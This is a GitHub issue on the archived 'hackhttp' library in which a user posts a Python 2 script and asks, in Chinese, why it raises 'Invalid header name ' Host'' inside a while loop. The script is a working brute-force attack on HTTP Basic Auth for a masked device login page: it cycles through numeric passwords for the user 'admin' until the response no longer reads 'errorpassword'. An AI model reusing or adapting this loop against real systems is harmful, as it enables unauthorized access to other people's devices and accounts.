Skip to content
This repository was archived by the owner on Mar 22, 2021. It is now read-only.
This repository was archived by the owner on Mar 22, 2021. It is now read-only.

ValueError: Invalid header name ' Host' #13

Open

Description

@heascle
import hackhttp
from base64 import b64encode
init = 100000
while True:
    pwd = ''
    pwd = b64encode('%d'%init)
    hh = hackhttp.hackhttp()
    raw = '''
    GET /****/userCheck HTTP/1.1
    Host:*******
    User-Agent: *****
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    If-Modified-Since: 0
    Authorization: Basic YWRtaW46%s
    X-Requested-With: XMLHttpRequest
    Referer: http://*****/login.asp
    Cookie: language=zh
    Connection: close
    '''%(pwd)
    code, head, html, redirect, log = hh.http('http://******/userCheck', raw=raw)

    print code
    #print `html`

    import re
    pattern = re.compile(r'.*?ing>(.*?)</.*?')
    result = re.findall(pattern,html)[0]
    if result != 'errorpassword':
        print '[+]Get Password.'
        exit(0)
    else:
        print init
    init+=1

一些地方打码了。。

代码放在 while 循环里面就报错,把while循环去掉就不会,不知道为什么?

image

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions